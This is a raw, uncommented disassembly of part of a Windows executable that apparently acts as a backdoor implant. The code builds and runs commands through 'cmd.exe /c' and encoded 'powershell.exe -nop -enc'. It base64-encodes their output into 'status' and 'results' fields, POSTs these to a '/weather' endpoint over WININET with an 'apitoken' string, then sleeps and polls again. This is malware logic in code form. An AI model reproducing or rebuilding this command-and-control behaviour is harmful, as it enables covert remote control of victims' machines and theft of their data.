call fcn.140009c80
cmp rax, 0xffffffffffffffff
je 0x14000891f
lea rcx, [rbp + 0x310]
call fcn.140001dd0
mov rcx, qword [rbp - 0x50]
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400089e9
call rax
mov r14, rax
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], 0
jne 0x140008905
lea rcx, [rbp + 0x310]
call fcn.140001de0
jmp 0x140008a85
mov rdx, rbx
lea rcx, [rbp + 0x1e0]
call fcn.140001e40
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x330]
call fcn.140001520
lea rcx, [rbp + 0x1e0]
call fcn.140001de0
mov edx, dword [rbp + 0x340]
lea rcx, [rbp + 0x330]
add edx, edx
call fcn.140009b60
mov rcx, rax
call fcn.140001190
mov rdx, rax
lea rcx, [rbp + 0x200]
call fcn.140001e40
mov r8, rax
lea rdx, str.powershell.exe__nop__enc
lea rcx, [rbp + 0x1e0]
call fcn.14000a4b0
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.140009dd0
lea rcx, [rbp + 0x1e0]
call fcn.140001de0
lea rcx, [rbp + 0x200]
call fcn.140001de0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x160]
call fcn.140001e80
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.1400015e0
lea rcx, [rbp + 0x330]
mov r14, rax
call fcn.140001d60
mov rsi, qword [rsp + 0x30]
lea rcx, [rbp + 0x310]
call fcn.140001de0
jmp 0x140008a85
lea rdx, [0x140017c2c]
lea rcx, [rbp + 0x2f0]
call fcn.14000ac00
test al, al
je 0x140008a8f
mov rdx, rbx
lea rcx, [rbp + 0x200]
call fcn.140001e40
mov r8, rax
lea rdx, str.cmd.exe__c
lea rcx, [rbp + 0x1e0]
call fcn.14000a4b0
mov rdx, rax
lea rcx, [rbp + 0x220]
call fcn.140009dd0
lea rcx, [rbp + 0x1e0]
call fcn.140001de0
lea rcx, [rbp + 0x200]
call fcn.140001de0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x180]
call fcn.140001e80
mov rcx, rax
lea rdx, [rsp + 0x30]
call fcn.1400015e0
mov rsi, qword [rsp + 0x30]
mov r14, rax
test r14, r14
je 0x140008a8f
test rsi, rsi
jne 0x140008a9b
lea r14, str.None
mov esi, 4
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], r15
mov r8d, 2
mov qword [rbp + 0x1f8], r15
lea rdx, [0x140017ce0]
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x40]
call fcn.140003e80
cmp qword [rbp + 0x1d8], 0xf
movabs rax, 0x7fffffffffffffff
mov rdi, qword [rbp + 0x1d0]
mov qword [rsp + 0x38], r15
lea r15, [rbp + 0x1c0]
cmova r15, qword [rbp + 0x1c0]
mov dword [rbp - 0x38], 3
cmp rdi, rax
ja 0x14000958b
cmp rdi, 0xf
ja 0x140008b3b
movups xmm0, xmmword [r15]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x140008bcf
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x140008b5a
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140008b81
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140008ba3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000956b
mov rcx, rax
call fcn.14001490c
mov rcx, rax
test rax, rax
je 0x140009571
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140008bb1
test rcx, rcx
je 0x140008baf
call fcn.14001490c
jmp 0x140008bb1
xor eax, eax
lea r8, [rdi + 1]
mov qword [rsp + 0x30], rax
mov rdx, r15
mov qword [rsp + 0x40], rdi
mov rcx, rax
mov qword [rsp + 0x48], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.140001e80
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140003e80
mov rdx, qword [rsp + 0x48]
mov dword [rbp - 0x28], 3
cmp rdx, 0xf
jbe 0x140008c30
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008c2b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009571
call fcn.140014948
xor r15d, r15d
lea rdx, str.output
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], r15
lea rcx, [rbp + 0x1e0]
mov qword [rbp + 0x1f8], r15
movups xmmword [rbp + 0x1e0], xmm0
lea r8d, [r15 + 6]
call fcn.1400022d0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x20]
call fcn.140003e80
mov dword [rbp - 0x18], 3
mov eax, r15d
mov r9d, r15d
test esi, esi
je 0x140008cb3
nop dword [rax]
nop word [rax + rax]
mov r8d, eax
mov eax, 0xaaaaaaab
mul r9d
lea eax, [r8 + 1]
shr edx, 1
lea ecx, [rdx + rdx*2]
cmp r9d, ecx
cmovne eax, r8d
inc r9d
cmp r9d, esi
jb 0x140008c90
lea eax, [rax*4 + 1]
movsxd rbx, eax
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memset
mov r8, rdi
mov edx, esi
mov rcx, r14
call fcn.140001020
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], r15
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f8], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdi + r8], r15b
jne 0x140008d02
mov rdx, rdi
lea rcx, [rbp + 0x1e0]
call fcn.1400022d0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x10]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp - 8], 3
mov r8d, 6
mov qword [rbp + 0x1f0], r15
lea rdx, str.status
mov qword [rbp + 0x1f8], r15
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp]
call fcn.140003e80
xorps xmm0, xmm0
mov dword [rbp + 8], 3
mov r8d, 3
mov dword [rbp + 0x10], r15d
lea rdx, [0x140017b84]
mov dword [rbp + 0x18], 5
lea rcx, [rbp + 0x1e0]
mov qword [rbp + 0x1f0], r15
movups xmmword [rbp + 0x1e0], xmm0
mov qword [rbp + 0x1f8], r15
call fcn.1400022d0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x20]
call fcn.140003e80
lea rax, [rbp - 0x40]
mov dword [rbp + 0x28], 3
mov qword [rbp + 0xc0], rax
lea rdx, [rsp + 0x30]
lea rax, [rbp + 0x40]
mov dword [rbp + 0x30], r15d
mov qword [rbp + 0xc8], rax
lea rcx, [rbp + 0xe0]
movaps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rsp + 0x30], xmm0
mov dword [rbp + 0x38], 5
call fcn.140003f30
mov edx, 0x10
lea r9, [fcn.140004350]
lea rcx, [rbp - 0x40]
lea r8d, [rdx - 8]
call fcn.14001497c
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], r15
mov r8d, 3
mov qword [rbp + 0x1f8], r15
lea rdx, [0x140017c34]
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x40]
call fcn.140003e80
cmp qword [rbp + 0x288], 0xf
lea rdi, [rbp + 0x270]
mov rsi, qword [rbp + 0x280]
movabs rax, 0x7fffffffffffffff
cmova rdi, qword [rbp + 0x270]
mov dword [rbp - 0x38], 3
mov qword [rsp + 0x38], r15
cmp rsi, rax
ja 0x140009585
cmp rsi, 0xf
ja 0x140008ec3
movups xmm0, xmmword [rdi]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 0xf
movups xmmword [rsp + 0x30], xmm0
jmp 0x140008f58
mov rbx, rsi
or rbx, 0xf
cmp rbx, rax
jbe 0x140008ee2
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x140008f09
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140008f2b
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140009578
mov rcx, rax
call fcn.14001490c
mov rcx, rax
test rax, rax
je 0x14000957e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140008f3a
test rcx, rcx
je 0x140008f37
call fcn.14001490c
jmp 0x140008f3a
mov rax, r15
lea r8, [rsi + 1]
mov qword [rsp + 0x30], rax
mov rdx, rdi
mov qword [rsp + 0x40], rsi
mov rcx, rax
mov qword [rsp + 0x48], rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xf0]
call fcn.140001e80
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.140003e80
mov rdx, qword [rsp + 0x48]
mov dword [rbp - 0x28], 3
cmp rdx, 0xf
jbe 0x140008fb9
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140008fb4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000957e
call fcn.140014948
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], r15
mov r8d, 7
mov qword [rbp + 0x1f8], r15
lea rdx, str.results
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.1400022d0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x20]
call fcn.140003e80
lea rdx, [rbp + 0xe0]
mov dword [rbp - 0x18], 3
lea rcx, [rbp + 0x140]
call fcn.140004130
mov edx, 2
mov dword [rbp + 0x260], r15d
lea rcx, [rbp + 0x260]
mov dword [rbp + 0x268], r15d
mov rsi, rax
call fcn.1400054e0
mov rdx, rsi
lea rcx, [rbp + 0x150]
call fcn.140004130
mov edi, dword [rbp + 0x268]
mov r14, rax
cmp edi, 2
je 0x14000909a
lea rcx, [rbp + 0x260]
call fcn.140004350
mov ecx, 0x28
call fcn.14001490c
mov ecx, 0x10
mov rbx, rax
mov qword [rax], r15
mov qword [rax + 8], r15
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], r15
mov qword [rax + 0x20], r15
call fcn.14001490c
mov edi, 2
mov qword [rax + 8], r15
mov qword [rbx], rax
mov qword [rax], rbx
jmp 0x1400090a1
mov rbx, qword [rbp + 0x260]
mov rdx, r14
mov rcx, rbx
call fcn.14000ccd0
mov rcx, r14
call fcn.140004350
mov rcx, rsi
mov qword [rbp - 0x10], rbx
mov dword [rbp - 8], edi
mov dword [rbp + 0x268], r15d
mov qword [rbp + 0x260], r15
call fcn.140004350
lea rax, [rbp - 0x40]
mov qword [rbp + 0xd0], rax
lea rdx, [rsp + 0x30]
lea rax, [rbp]
mov qword [rbp + 0xd8], rax
lea rcx, [rbp - 0x80]
movaps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rsp + 0x30], xmm0
call fcn.140003f30
mov edx, 0x10
lea r9, [fcn.140004350]
lea rcx, [rbp - 0x40]
lea r8d, [rdx - 0xc]
call fcn.14001497c
xorps xmm0, xmm0
mov qword [rbp + 0x1f0], r15
mov r8d, 2
mov qword [rbp + 0x1f8], r15
lea rdx, [0x140017918]
lea rcx, [rbp + 0x1e0]
movups xmmword [rbp + 0x1e0], xmm0
call fcn.1400022d0
lea r9, [rbp + 0x1e0]
mov r8d, 1
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.140004890
lea rdx, [0x140017918]
mov rbx, rax
lea rcx, [rbp + 0x1a0]
call fcn.140001e40
mov r9, rax
lea rdx, [rbp + 0x200]
mov r8d, 1
lea rcx, [rbp - 0x80]
call fcn.140004890
mov rcx, rax
call fcn.140001dd0
mov r8d, dword [rbx + 0x10]
mov rdx, rax
call fcn.140003320
lea rcx, [rbp + 0x200]
mov rbx, rax
call fcn.140001de0
lea rcx, [rsp + 0x30]
call fcn.140001de0
lea rdx, [0x140017918]
lea rcx, [rbp - 0x40]
call fcn.140001e40
mov r9, rax
lea rdx, [rbp + 0xf0]
mov r8d, 1
lea rcx, [rbp - 0x80]
call fcn.140004890
mov rcx, rbx
mov edx, dword [rax + 0x10]
call fcn.140001190
lea rcx, [rbp + 0xf0]
mov rbx, rax
call fcn.140001de0
xorps xmm0, xmm0
mov qword [rbp + 0x210], r15
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x218], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], r15b
jne 0x140009225
mov rdx, rbx
lea rcx, [rbp + 0x200]
call fcn.1400022d0
lea r8, [rbp + 0x200]
lea rdx, str.pagedownload.htmlfileweather.htmlapitoken
lea rcx, [rbp + 0x290]
call fcn.14000a4b0
lea rcx, [rbp + 0x200]
call fcn.140001de0
lea rcx, [rbp + 0x290]
call fcn.140001dd0
lea r9, str.POST
mov qword [rsp + 0x20], rax
lea r8, str._weather
call fcn.140002570
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rcx, [rbp + 0x290]
call fcn.140001de0
lea rcx, [rbp - 0x80]
call fcn.140004350
lea rcx, [rbp + 0xe0]
call fcn.140004350
lea rcx, [rbp + 0x220]
call fcn.140001de0
lea rcx, [rbp + 0x2f0]
call fcn.140001de0
lea rcx, [rbp + 0x2d0]
call fcn.140001de0
lea rcx, [rbp + 0x1c0]
call fcn.140001de0
mov esi, dword [rsp + 0x50]
inc esi
mov dword [rsp + 0x50], esi
jmp 0x140008130
imul ecx, dword [rsp + 0x78], 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x58]
call fcn.140004350
lea rcx, [rbp + 0x2b0]
call fcn.140001de0
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
jbe 0x140009352
mov rcx, qword [rbp + 0x240]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000934d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009591
call fcn.140014948
mov ecx, dword [rsp + 0x70]
lea r13, str.pagedownload.htmlfileweather.htmlapitoken
mov qword [rbp + 0x250], r15
mov r12d, 0
mov r15, qword [rbp + 0x280]
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], 0
sub ecx, 1
je 0x1400093ed
sub ecx, 1
je 0x1400093b5
cmp ecx, 1
jne 0x1400074c0
mov rcx, qword [rsp + 0x68]
lea r13, str.pagedownload.htmlfileweather.htmlapitoken
test rcx, rcx
je 0x1400074c0
call fcn.140005620
jmp 0x1400074ad
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x1400074c0
mov rcx, rbx
call fcn.140009f60
mov rcx, qword [rbx]
mov edx, 0x10
mov qword [rbx], r12
call fcn.140014948
mov edx, 0x28
mov rcx, rbx
call fcn.140014948
jmp 0x1400074ad
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x1400074c0
mov r8, qword [rbx]
mov rdx, rbx
mov rcx, rbx
mov r8, qword [r8 + 8]
call fcn.14000c3a0
mov rcx, qword [rbx]
mov edx, 0x50
call fcn.140014948
mov edx, 0x10
mov rcx, rbx
call fcn.140014948
jmp 0x1400074ad
mov rdx, qword [rbp + 0x258]
cmp rdx, 0xf
jbe 0x14000946d
mov rcx, qword [rbp + 0x240]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009468
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009598
call fcn.140014948
mov ecx, dword [rsp + 0x70]
mov qword [rbp + 0x250], r12
mov qword [rbp + 0x258], 0xf
mov byte [rbp + 0x240], 0
sub ecx, 1
je 0x1400094ed
sub ecx, 1
je 0x1400094b5
cmp ecx, 1
jne 0x1400074c0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400074c0
call fcn.140005620
jmp 0x1400074c0
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x1400074c0
mov rcx, rbx
call fcn.140009f60
mov rcx, qword [rbx]
mov edx, 0x10
mov qword [rbx], r12
call fcn.140014948
mov edx, 0x28
mov rcx, rbx
call fcn.140014948
jmp 0x1400074c0
mov rbx, qword [rsp + 0x68]
test rbx, rbx
je 0x1400074c0
mov r8, qword [rbx]
mov rdx, rbx
mov rcx, rbx
mov r8, qword [r8 + 8]
call fcn.14000c3a0
mov rcx, qword [rbx]
mov edx, 0x50
call fcn.140014948
mov edx, 0x10
mov rcx, rbx
call fcn.140014948
jmp 0x1400074c0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001460
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001460
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001500
int3
call fcn.140001500
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3